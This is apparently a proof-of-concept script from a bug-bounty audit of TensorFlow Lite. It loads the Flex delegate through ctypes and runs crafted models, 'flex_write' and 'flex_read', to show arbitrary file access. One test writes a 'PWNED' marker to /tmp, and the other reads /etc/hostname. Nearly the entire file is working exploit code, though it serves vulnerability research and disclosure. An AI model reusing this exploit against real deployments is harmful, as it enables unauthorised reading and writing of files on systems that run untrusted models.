File size: 2,438 Bytes
a24d7a3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | import os, ctypes, sys
tf_dir = "/home/lab/huntr/tflite_audit/venv/lib/python3.12/site-packages/tensorflow"
# Only import the wrapper, not full TF
# This avoids the double-registration issue
# First, add TF to sys.path so imports work
sys.path.insert(0, tf_dir)
# Load just the needed native libs
fw = ctypes.CDLL(os.path.join(tf_dir, "libtensorflow_framework.so.2"), mode=ctypes.RTLD_GLOBAL)
cc = ctypes.CDLL(os.path.join(tf_dir, "libtensorflow_cc.so.2"), mode=ctypes.RTLD_GLOBAL)
# Acquire flex delegate
acquire = cc._ZN6tflite19AcquireFlexDelegateEv
acquire.restype = ctypes.c_void_p
acquire.argtypes = []
flex_ptr = acquire()
print(f"FlexDelegate: hex(flex_ptr)={hex(flex_ptr)}")
# Now import just the wrapper - skip full TF
from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper
# Test with flex_write
print("\n=== Test 1: flex_write.tflite ===")
with open("models/flex_write.tflite", "rb") as f:
write_data = f.read()
w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True)
print("Created interpreter")
result = w.ModifyGraphWithDelegate(flex_ptr)
print(f"ModifyGraphWithDelegate: {result}")
try:
w.AllocateTensors()
print("AllocateTensors succeeded!")
import numpy as np
input_idx = w.InputIndices()
print(f"Input indices: {input_idx}")
if input_idx:
w.SetTensor(input_idx[0], np.array(b"PWNED by TFLite"))
w.Invoke()
print("INVOKE SUCCEEDED!")
if os.path.exists("/tmp/tflite_pwned.txt"):
with open("/tmp/tflite_pwned.txt") as f:
print(f"*** FILE WRITTEN: {f.read()} ***")
else:
print("File not written")
except Exception as e:
print(f"Error: {type(e).__name__}: {str(e)[:800]}")
# Test 2: flex_read
print("\n=== Test 2: flex_read.tflite ===")
with open("models/flex_read.tflite", "rb") as f:
read_data = f.read()
w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True)
w2.ModifyGraphWithDelegate(flex_ptr)
try:
w2.AllocateTensors()
print("AllocateTensors succeeded!")
import numpy as np
input_idx2 = w2.InputIndices()
w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname"))
w2.Invoke()
print("INVOKE SUCCEEDED!")
output_idx2 = w2.OutputIndices()
output = w2.GetTensor(output_idx2[0])
print(f"*** FILE READ: {output} ***")
except Exception as e:
print(f"Error: {type(e).__name__}: {str(e)[:800]}")
|